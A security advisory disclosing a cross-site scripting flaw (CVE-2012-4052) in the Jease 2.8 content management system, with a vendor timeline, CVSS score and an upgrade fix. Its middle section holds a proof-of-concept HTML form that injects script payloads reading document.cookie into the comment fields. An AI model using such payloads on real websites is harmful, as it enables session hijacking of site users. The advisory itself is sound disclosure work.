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Cross-Site Scripting (XSS) in Jease

Advisory ID:HTB23104
Vendor: Jease
Vulnerable Versions:2.8 and probably prior
Tested Version:2.8
Advisory Publication:July 25, 2012 [without technical details]
Vendor Notification:July 25, 2012
Vendor Fix:July 29, 2012
Public Disclosure:August 15, 2012
Latest Update:July 30, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2012-4052
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Jease, which can be exploited to perform Cross-Site Scripting (XSS) attacks.

1) Cross-Site Scripting (XSS) in Jease: CVE-2012-4052
Input passed via the "author", "subject" and "comment" POST parameters when creating a new comment is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
<form action="http://[host]:8080/blog/" method="post" name="main" id="main">
<input type="hidden" name="author-467844289" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="subject-467844289" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="comment-467844289" value='"></textarea><script>alert(document.cookie);</script>'>
<input type="submit" name="Submit" value="Send">

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Upgrade to Jease 2.9

More Information:!topic/jease/2BHaDww-5ac

[1] High-Tech Bridge Advisory HTB23104 - - Cross-Site Scripting (XSS) in Jease.
[2] Jease - - Jease is an Open Source Content-Management-System which is driven by the power of Java.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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